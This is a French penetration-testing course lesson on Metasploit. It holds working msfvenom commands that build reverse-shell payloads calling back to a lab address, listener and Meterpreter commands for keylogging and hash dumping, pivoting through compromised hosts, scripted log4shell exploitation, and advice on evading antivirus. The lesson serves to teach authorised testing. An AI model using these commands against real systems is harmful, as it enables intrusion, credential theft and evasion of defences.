Aller au contenu principal

Metasploit — Notions

Metasploit, c'est le framework qui a industrialisé l'exploitation. 2200 exploits, 1500 auxiliaires, 700 payloads, tout prêt, tout maintenu, tout branchable. Cette semaine, on apprend à s'en servir sans devenir dépendant : quand il aide, quand il gêne.

Rappel

Chaque run de Metasploit envoie du code d'exploitation à une cible. Dans un lab, aucun souci. En mission, votre RoE doit autoriser explicitement l'exploitation active. Un run mal cadré = un service qui tombe = un client en colère.

Ce que vous saurez faire après cette leçon​

  • Nommer les quatre pièces du framework : exploit, payload, encoder, listener.
  • Choisir un payload adapté à la cible (Windows 32/64, Linux, sans stager, avec stager).
  • Utiliser msfvenom pour fabriquer un payload autonome (EXE, WAR, ELF, apk, shellcode).
  • Automatiser une chaîne d'exploitation avec resource scripts et msfrpc.
  • Basculer d'une session à un vrai pivot pour tester le réseau interne.
  • Savoir quand ne pas utiliser Metasploit.

1. Metasploit en une image mentale​

Trois couches. Retenez-les.

                                CIBLE
                                  ↑
                              ┌───┴───┐
                              │Exploit │  (déclenche la faille : buffer overflow, RCE, injection...)
                              └───┬───┘
                                  ↓
                              ┌───┴───┐
                              │Payload │  (le code qui s'exécute chez la cible : shellcode, meterpreter)
                              └───┬───┘
                                  ↓
                                réseau
                                  ↓
                              ┌───┴───┐
                              │Listener│  (chez l'attaquant, attend la connexion inverse)
                              └───────┘

L'exploit ouvre la porte. Le payload entre. Le listener ramène la ligne.

2. Les grandes familles d'exploits​

Dans msfconsole :

show exploits

Il y en a trop. On les groupe :

FamilleCe qu'elle contient
exploit/windows/smb/EternalBlue, PsExec, SMB relay…
exploit/windows/http/IIS, ASP.NET, Exchange, SharePoint.
exploit/linux/http/Apache, Nginx, Struts, log4j (dans exploit/multi/http/).
exploit/multi/http/Attaques web multi-OS (log4j, PHPUnit, Confluence…).
exploit/unix/ftp/, unix/misc/vsftpd backdoor, distccd, etc.
auxiliary/scanner/Pas des exploits — des scanners légers (SMB versions, ldap login, mysql).
post/Après exploitation : escalade, dumping, pivoting.
evasion/Génération de binaires AV-evading.

Astuce : search cve:2021-44228 cherche par CVE (log4shell dans ce cas). Bien plus fiable que par nom d'application.

3. Les payloads — le choix qui compte​

Deux dimensions.

3.1. Avec ou sans stager​

  • Sans stager (_reverse_tcp) : un binaire complet est envoyé d'un coup. Simple, gros, plus détectable.
  • Avec stager (_reverse_tcp en fait déjà stagé) : un petit chargeur est envoyé d'abord, il rappelle chez vous et télécharge le vrai payload. Plus discret, plus fragile (deux allers-retours).

Sur cibles modernes avec antivirus, les stagés passent souvent mieux.

3.2. Meterpreter ou shell simple​

  • meterpreter : agent Metasploit complet. Chiffré (TLS), multi-commandes, pivoting, upload, capture d'écran, extraction de mémoire. Puissant mais lourdement signé par les antivirus.
  • shell_reverse_tcp : juste un shell inverse (/bin/sh ou cmd.exe). Bête, silencieux, marche partout.
  • shell_reverse_tls : shell inverse chiffré TLS. Compromis entre discrétion et fiabilité.

Nomenclature :

<OS>/<arch>/<payload>/<transport>

Exemples :

  • windows/x64/meterpreter/reverse_tcp
  • linux/x86/shell_reverse_tcp
  • java/meterpreter/reverse_https
  • php/meterpreter/reverse_tcp
  • python/meterpreter/reverse_tcp

3.3. Compatibilité — pièges​

  • windows/x64/… ne fonctionne pas sur un Windows 32 bits. Vérifiez sysinfo après le premier accès.
  • Un payload java/* est neutre à l'OS mais exige une JVM. Utile pour un Tomcat/JBoss.
  • Un payload php/* s'exécute dans un contexte PHP (RFI/LFI). Pas de meterpreter complet.

Règle : set PAYLOAD explicitement. Ne laissez jamais Metasploit deviner.

4. msfvenom — fabriquer votre propre payload​

Quand un exploit hors Metasploit a besoin d'un payload, on le fabrique avec msfvenom (successeur de msfpayload + msfencode).

Syntaxe :

msfvenom -p <payload> LHOST=<votre_ip> LPORT=<port> -f <format> -o <fichier>

Exemples fréquents :

# EXE Windows (staged reverse TCP)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f exe -o payload.exe

# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f elf -o payload.elf

# WAR (à déployer sur Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f war -o pwn.war

# APK Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -o pwn.apk

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f psh-cmd -o cmd.ps1

# Shellcode brut (pour l'insérer dans un exploit maison)
msfvenom -p linux/x64/exec CMD="/bin/bash -i" -f raw -o shellcode.bin

Encoding pour tenter l'évasion AV (moyennement efficace en 2026) :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... \
         -e x64/xor_dynamic -i 5 -f exe -o payload.exe

Les encodeurs de Metasploit sont connus de tous les AV. Pour la vraie évasion, il faut passer à Donut, Nim/Rust loaders, Sliver, Havoc, Mythic — mais ça sort du cadre d'un cours pentest classique.

5. Multi/handler — attraper un shell sans exploit​

Quand un exploit est fait hors Metasploit (payload msfvenom déposé et exécuté par une autre voie), on veut quand même récupérer une session Metasploit. C'est le rôle de multi/handler :

msfconsole -q

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
set ExitOnSession false
run -j

run -j = job. Le handler tourne en arrière-plan, prêt à recevoir. Vous pouvez déclencher l'exécution du payload sur la cible (par email, par exploit web, par tâche planifiée), le shell arrive dans le handler.

6. Meterpreter — le couteau suisse en session​

Une fois meterpreter > obtenu :

sysinfo                        # OS, arch, domaine, langue
getuid                         # qui suis-je ?
getprivs                       # quels privilèges Windows ?
ps                             # processus
migrate <PID>                  # se déplacer vers un autre processus (stabilité)
screenshot                     # capture d'écran
keyscan_start / keyscan_dump   # keylogger
hashdump                       # NTLM des comptes locaux (nécessite SYSTEM)
upload / download              # transferts
shell                          # vrai shell OS

Sur Linux :

sysinfo, getuid, ps, upload, download, shell, portfwd

Commande précieuse :

run post/multi/recon/local_exploit_suggester

Suggère des exploits locaux d'escalade de privilèges (module 9).

7. Pivoting — utiliser une machine compromise pour attaquer plus loin​

C'est la vraie valeur ajoutée de Metasploit en mission complexe. Vous avez un shell sur 10.10.10.20. Depuis cette machine, vous voyez un autre réseau 192.168.100.0/24. Vous voulez scanner ce réseau depuis Kali, en passant par la machine compromise.

7.1. Autoroute Meterpreter​

meterpreter > run autoroute -s 192.168.100.0/24

Metasploit ajoute une route interne : tout trafic Metasploit vers 192.168.100.0/24 passera par la session Meterpreter.

Scannez le réseau interne depuis msfconsole :

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,445,3389
run

Le trafic sort de la cible compromise, pas de votre Kali. Discret.

7.2. Socks proxy pour outils externes​

Vous voulez utiliser nmap, curl, sqlmap depuis Kali mais que le trafic passe par la cible :

use auxiliary/server/socks_proxy
set VERSION 5
run -j

Configurez proxychains (/etc/proxychains.conf) :

socks5  127.0.0.1 1080

Et :

proxychains nmap -sT -Pn -p 22,80,445 192.168.100.10
proxychains curl http://192.168.100.10/

Vos requêtes émergent depuis la cible compromise. C'est le pivot standard.

8. Resource scripts — automatiser sans perdre la traçabilité​

Un resource script (.rc) est un fichier texte contenant des commandes msfconsole exécutées en ordre.

log4shell.rc :

workspace log4shell-mission
use exploit/multi/http/log4shell_header_injection
set RHOSTS file:cibles.txt
set RPORT 8080
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j

Lancement :

msfconsole -q -r log4shell.rc

Bonne pratique :

  • Un .rc par attaque ou par vague.
  • Versionner dans Git (privé).
  • Copier-coller la commande dans un commandes.md avant de lancer, avec l'heure.

Sans ça, un rapport de fin de mission devient un exercice de mémoire archéologique.

9. msfrpc et pymetasploit3 — piloter en Python​

Pour automatiser à grande échelle, Metasploit expose une API RPC :

sudo msfrpcd -P monpass -S -a 127.0.0.1

Depuis Python :

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('monpass', server='127.0.0.1')
exploit = client.modules.use('exploit', 'multi/http/log4shell_header_injection')
exploit['RHOSTS'] = '10.10.10.20'
exploit['LHOST']  = '10.10.10.5'
payload = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp')
payload['LHOST'] = '10.10.10.5'
payload['LPORT'] = 4444
exploit.execute(payload=payload)

# Attendre puis lister les sessions ouvertes
import time; time.sleep(15)
print(client.sessions.list)

Utile pour orchestrer plusieurs sessions, corréler avec un outil externe, ou intégrer dans un dashboard interne.

10. Antivirus et EDR — le mur qui bloque​

En 2026, Windows Defender à jour reconnaît immédiatement les payloads Meterpreter par défaut. Un payload.exe généré tel quel se fait détecter à la copie.

Techniques pour passer (dans le cadre d'un pentest, pas de vraie red team) :

  1. Loader compilé à la main en C/C#/Nim/Rust qui charge le shellcode. À jour, ça passe encore beaucoup.
  2. PowerShell offuscation : Invoke-Obfuscation, chargement en mémoire (Reflection.Assembly::Load). Amber, base64, chiffrement AES.
  3. Living off the land : wmic, certutil, bitsadmin, mshta pour télécharger et exécuter — pas de binaire à laisser sur disque.
  4. Sliver / Havoc / Mythic : C2 modernes remplaçant Meterpreter pour la partie évasion.

Pour le cours : dans le lab, on désactive Defender. Pour l'entraînement à l'évasion, module 8 dédié (advanced payload development).

11. Quand ne pas utiliser Metasploit​

Trois cas :

  1. RoE qui interdit explicitement Metasploit. Certains clients l'excluent (peur du bruit, peur des faux positifs, préférence pour du code custom).
  2. L'exploit existe en 20 lignes de Python et vous n'avez pas besoin d'un stager complet. Ne chargez pas Metasploit pour un nc + un mot de passe hardcodé.
  3. La cible est un EDR moderne bien réglé. Meterpreter va faire hurler. Passez à des outils plus discrets.

Un pentester expérimenté utilise Metasploit à bon escient, pas systématiquement.

12. Ce qu'il faut retenir​

  • Exploit + payload + listener = les trois pièces. Toujours dans cet ordre.
  • msfvenom fabrique un payload autonome pour usage hors Metasploit.
  • Meterpreter est puissant mais bruyant. shell_reverse_tcp est bête mais silencieux.
  • multi/handler attrape un shell sans exploit — utile en tandem avec msfvenom.
  • autoroute + socks_proxy = pivoting standard.
  • Automatisez avec .rc et msfrpc, mais écrivez chaque commande avant de la lancer.
  • En 2026, Defender bloque Metasploit tel quel. Prévoyez un loader.

Prochaine leçon : trois attaques Metasploit bout à bout, incluant un pivot depuis une cible Linux vers un sous-réseau interne. C'est la partie la plus offensive du cours.